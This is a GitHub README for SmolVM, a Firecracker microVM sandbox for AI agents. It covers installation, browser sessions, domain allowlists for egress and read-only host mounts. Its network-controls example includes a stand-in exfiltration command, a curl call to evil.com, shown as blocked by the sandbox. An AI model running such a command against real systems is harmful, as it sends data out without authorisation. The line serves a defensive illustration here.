GitHub - CelestoAI/SmolVM: Open-source AI sandbox infrastructure for code execution, browser use, and AI agents.

SmolVM gives AI agents their own disposable computer. Each microVM boots in milliseconds, runs any code or software you throw at it, keeps state when you need it, and vanishes when you don't — nothing touches your host.

Features

• Sub-second boot — VMs ready in ~500 ms.
• Hardware isolation — Stronger security than containers.
• Network controls — Domain allowlists for egress filtering.
• Browser sessions — Full browser agents can see and control.
• Host mounts — Give sandboxes read access to local directories.
• Snapshots — Save and restore VM state instantly.
• OpenClaw — GUI Linux apps inside a sandbox.

Use cases

• Run untrusted code safely. Execute AI-generated code in an isolated sandbox instead of on your machine.
• Give agents a browser. Spin up a full browser session that agents can see and control in real time.
• Let agents read your project. Mount a local directory so agents can explore your codebase inside a sandbox.
• Keep state across turns. Reuse the same sandbox throughout a multi-step workflow.

Quickstart

Install SmolVM with a single command:

curl -sSL https://celesto.ai/install.sh | bash

This installs everything you need (including Python), configures your machine, and verifies the setup.

pip install smolvm
smolvm setup
smolvm doctor

For golden-AMI builds, two-stage deploys, pinning the Firecracker version, and other non-default install paths, see docs/installation.md.

Start a sandbox in Python

from smolvm import SmolVM

vm = SmolVM()
result = vm.run("echo 'Hello from the sandbox!'")
print(result)
vm.stop()

Start a sandbox from the CLI

Create a sandbox, check that it's running, then stop it:

smolvm create --name my-sandbox
# my-sandbox  running  172.16.0.2

smolvm list
# NAME         STATUS   IP
# my-sandbox   running  172.16.0.2

smolvm stop my-sandbox

Open a shell inside a running sandbox:

Browser sessions

SmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.

Start a browser session with a live view you can watch in your own browser:

smolvm browser start --live
# Session:   sess_a1b2c3
# Live view: http://localhost:6080

Open the URL to watch the browser in real time. When you're done, list and stop sessions:

smolvm browser list
smolvm browser stop sess_a1b2c3

See examples/browser_session.py for the Python equivalent.

Network controls

By default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing internet_settings:

from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": ["https://api.openai.com"],
})

vm.run("curl https://api.openai.com/v1/models")    # allowed
vm.run("curl https://evil.com/exfiltrate")         # blocked

See docs/concepts/network-egress-controls.md for how it works under the hood.

Mount host directories

You can give a sandbox read access to a folder on your machine. This is useful when an agent needs to work with an existing project without copying files back and forth.

smolvm create --mount ~/Projects/my-app
smolvm ssh my-sandbox
ls /workspace   # your host files appear here

The host folder is read-only — the sandbox can read every file, but changes stay inside the sandbox and never touch the originals. If the agent creates or edits files under /workspace, those changes live only in the VM's overlay layer.

Mount at a custom path, or mount multiple directories:

smolvm create --mount ~/Projects/my-app:/code --mount ~/data:/mnt/data

The same works from Python:

from smolvm import SmolVM

with SmolVM(mounts=["~/Projects/my-app"]) as vm:
    result = vm.run("ls /workspace")
    print(result.stdout)

Note: This feature is read-only for now. Any changes you make inside the sandbox do not travel back to the host. Write-back support is planned for a future release.

Examples

Getting started

Agent framework integrations

These examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.

Advanced

Each script shows its own pip install ... line when it needs extra packages.

Security

SmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See SECURITY.md for the full policy and scope.

Performance

Median lifecycle timings on a standard Linux host:

Run the benchmark yourself:

python3 scripts/benchmarks/bench_subprocess.py --vms 10 -v

Measured on AMD Ryzen 7 7800X3D (8C/16T), Ubuntu Linux. SmolVM uses Firecracker, a lightweight virtual machine manager built for running thousands of secure, fast micro-VMs.

Contributing

See CONTRIBUTING.md to get started.

License

Apache 2.0 — see LICENSE for details.